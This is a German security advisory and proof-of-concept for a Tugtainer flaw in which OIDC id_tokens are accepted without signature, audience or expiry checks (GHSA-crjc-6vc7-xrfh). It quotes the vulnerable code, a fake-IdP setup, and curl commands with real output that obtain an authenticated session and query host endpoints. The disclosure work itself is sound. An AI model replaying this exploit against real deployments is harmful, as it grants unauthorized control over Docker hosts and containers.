
PoC — OIDC id_token wird in Tugtainer ohne Signatur-/Audience-/Ablaufprüfung akzeptiert (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).
CVE-Status: beantragt, Zuweisung ausstehend. Dieser Fund wird als GHSA-crjc-6vc7-xrfh veröffentlicht. Bei der CVE-Zuweisung wird dieses Repository in
CVE-YYYY-NNNNN-tugtainer-PoCumbenannt und dieses Banner durch den CVE-Link ersetzt.
| Forscher | Dostxodjayev Abdullox (@squeeze440) |
| Advisory | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (Hoch) |
| Schwachstelle | CWE-347 |
Die unsachgemäße Verifikation der kryptografischen Signatur im OIDC-Authentifizierungsanbieter in backend/modules/auth/providers/auth_oidc_provider.py in Quenary/tugtainer (Commit 3138226) ermöglicht es einem Angreifer, der die Token-Exchange-Antwort zwischen dem tugtainer-Backend und dem konfigurierten OIDC-Anbieter kontrollieren oder abfangen kann (z. B. eine Netzwerk-MITM-Position, ein kompromittierter/bösartiger Identity Provider oder eine DNS-/TLS-Terminierungs-Kompromittierung auf diesem Pfad), ein beliebiges id_token zu fälschen und eine vollständig authentifizierte, admin-äquivalente tugtainer-Sitzung für jede Identität über GET /api/auth/oidc/callback zu erhalten.
Quenary/tugtainer — selbstgehostetes Docker-Container-Auto-Update-Tool mit Web-UI, Agent-/Backend-Architektur.
Commit 31382268bf16df32f33316fe4d601ad1635871d4 (Standard-Branch des Repos, geklont am 2026-08-05).
8.1 (Hoch) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (nicht AC:L): Die Ausnutzung ist keine einfache unauthentifizierte Netzwerkanfrage. Sie erfordert, dass der Angreifer kontrolliert, was der Token-Endpunkt während des Server-zu-Server-Code-Austauschs an das Backend zurückgibt — realistischerweise eine MITM-Position zwischen dem tugtainer-Backend und dem echten IdP oder ein kompromittierter/bösartiger IdP, dem das Backend vertraut. Dies ist eine echte, nicht triviale Voraussetzung, daher wird AC:H statt AC:L verwendet.UI:N: Sobald der Angreifer diese Netzwerkposition hat, ist keine Interaktion des Opfers erforderlich — der Angreifer kann den gesamten Login-Ablauf selbst durchführen (bestätigt im PoC unten, end-to-end mit curl durchgeführt).C:H/I:H/A:H: Die resultierende Sitzung ist eine vollständige, uneingeschränkte tugtainer-Sitzung (es existiert keine RBAC/Allowlist für OIDC-Identitäten — siehe Details) mit Zugriff auf jeden Container-/Host-Management-Endpunkt: Auflisten/Lesen aller Docker-Hosts und -Container, Starten/Stoppen/Killen/Entfernen von Containern, Pull von Images und (falls ALLOW_HOOKS/ALLOW_EXEC auf einem Host aktiviert sind) Ausführen von Befehlen innerhalb von Containern.S:U: Die Auswirkung bleibt innerhalb der eigenen Autorisierungsgrenze von tugtainer (der Angreifer wird zu einem authentifizierten tugtainer-Benutzer); sie wird nicht als Scope-Änderung in eine separat autorisierte Komponente betrachtet.backend/modules/auth/providers/auth_oidc_provider.py, Methode _exchange_oidc_code (Zeilen 267–331), insbesondere Zeilen 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) base64-dekodiert die JWT-Payload ohne Prüfung der Signatur, exp/iat oder aud/iss — das genaue Gegenteil dessen, was OpenID Connect Core 1.0 §3.1.3.7 von einem RP verlangt, bevor er einem ID Token vertraut. Der Kommentar des Entwicklers selbst („not recommended for production") bestätigt, dass dies eine bekannte Abkürzung war und keine beabsichtigte Designentscheidung.
Die resultierenden Claims fließen direkt in die Sitzungserstellung ein, ohne zusätzliche Prüfungen:
callback() (Zeile 137) ruft _exchange_oidc_code() und dann _create_oidc_user_session() (Zeile 333) auf, was email/sub/preferred_username (Zeilen 341–345) direkt aus den unverifizierten Claims entnimmt und echte, signierte tugtainer access_token/refresh_token JWT-Cookies (HttpOnly, SameSite=strict) über _set_cookies() erzeugt.grep nach Allowlist-/Allowed-Email-Mustern in backend/ liefert nichts) — welcher sub/email auch immer in den (unverifizierten) Claims steht, wird zur Identität der neuen Sitzung, mit demselben Zugriff wie jeder andere angemeldete Benutzer (tugtainer hat eine einzige flache Vertrauensstufe, kein per-Benutzer-RBAC).aud und iss nie geprüft werden, wird ein ID Token, das für einen völlig unabhängigen Client desselben IdP ausgestellt wurde — oder, wie unten demonstriert, eines mit einer ungültigen/nicht übereinstimmenden Signatur und einem bereits abgelaufenen exp — genauso bereitwillig akzeptiert wie ein legitimes.Dies ist nur erreichbar, wenn OIDC_ENABLED=true (ein Admin-Opt-in), sodass es die Standard-/Nur-Passwort-Bereitstellung nicht betrifft.
Dynamisch verifiziert gegen die echte Anwendung, die aus diesem Commit gebaut wurde (docker build -f Dockerfile.app), ausgeführt über einfaches docker run (nicht das veröffentlichte Image) mit:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
Ein minimaler Fake-OIDC-Provider (evidence/fake_idp.py, in diesem Engagement-Ordner aufbewahrt) liefert ein gültiges Discovery-Dokument und gibt bei POST /token immer ein id_token zurück, das in jeder Hinsicht absichtlich ungültig ist, die ein RP prüfen sollte:
aud = "totally-wrong-client-id-not-tugtainers" (stimmt nicht mit OIDC_CLIENT_ID überein)exp = 1 Stunde in der Vergangenheit (bereits abgelaufen)Schritte (echte Befehle, echte Ausgabe, beide Container lokal ausgeführt):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
Dekodierte access_token-Payload (wie von tugtainers eigenem JWT-Signer für diesen „Benutzer" erzeugt):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
Sitzung dann live gegen geschützte Endpunkte bestätigt:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]